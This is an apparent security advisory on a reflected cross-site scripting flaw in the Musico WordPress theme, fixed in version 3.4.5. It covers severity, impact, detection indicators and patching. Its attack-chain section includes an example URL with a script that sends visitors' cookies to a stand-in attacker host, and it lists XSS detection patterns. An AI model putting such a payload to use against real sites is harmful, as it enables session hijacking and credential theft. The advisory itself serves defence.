CVE-2026-27367: 
WordPress vulnerability analysis and mitigation

CVE-2026-27367 is a Reflected Cross-Site Scripting (XSS) vulnerability in the ThemeGoods Musico WordPress theme. It affects Musico versions prior to 3.4.5 (also reported as through 3.2.4 in some sources), allowing unauthenticated attackers to inject malicious scripts via crafted URLs. The vulnerability was reported by researcher João Pedro S Alcântara (Kinorth) on November 24, 2025, and publicly disclosed on February 24, 2026. It carries a CVSS v3.1 base score of 7.1 (High) (Patchstack, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically of the reflected type. Unsanitized user-supplied input is reflected back in the HTTP response without proper encoding or validation, enabling an attacker to craft a malicious URL containing JavaScript payloads. Exploitation requires no authentication but does require user interaction — a victim must click or visit the attacker-controlled link. The vulnerability was assigned PSID 23981c2debd9 by Patchstack and maps to CAPEC-591 (Reflected XSS) (Patchstack).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session hijacking, credential theft, redirection to malicious sites, defacement, or delivery of further malware payloads to site visitors. The scope is changed (per CVSS), meaning the impact extends beyond the vulnerable component to the victim's browser environment, with low confidentiality, integrity, and availability impacts (Patchstack).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. No threat actor attribution or CISA KEV catalog listing has been identified. Patchstack notes that vulnerabilities of this class are commonly used in mass-exploit campaigns targeting WordPress sites at scale, regardless of site popularity (Patchstack).

1. Reconnaissance: Identify WordPress sites using the Musico theme (versions < 3.4.5) via search engines, Shodan, or WPScan fingerprinting.
2. Identify vulnerable parameter: Locate the input parameter(s) in the Musico theme that are reflected unsanitized in the HTTP response (e.g., search or query parameters in theme-specific pages).
3. Craft malicious URL: Construct a URL containing a reflected XSS payload in the vulnerable parameter, such as https://victim-site.com/?vulnerable_param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver to victim: Send the crafted URL to a target user via phishing email, social media, or other social engineering channels.
5. Payload execution: When the victim clicks the link and loads the page, the injected script executes in their browser, potentially stealing session cookies, credentials, or performing actions on their behalf (Patchstack).

• Network: HTTP requests to WordPress pages with URL-encoded JavaScript payloads (e.g., <script>, javascript:, onerror=, onload=) in query string parameters associated with the Musico theme.
• Logs: Web server access logs showing GET requests with suspicious encoded characters (%3Cscript%3E, %22, %27) in theme-specific URL parameters; referrer headers pointing to external attacker-controlled domains.
• Browser/Client-Side: Unexpected redirects from the WordPress site to external domains; users reporting unusual pop-ups or login prompts after visiting site links.

The vendor ThemeGoods has released Musico version 3.4.5, which patches this vulnerability. All site owners running Musico versions prior to 3.4.5 should update immediately. Patchstack has also issued a virtual patching/mitigation rule for subscribers to block exploitation attempts until the theme is updated. If an immediate update is not possible, site administrators should consult their hosting provider or web developer for assistance (Patchstack).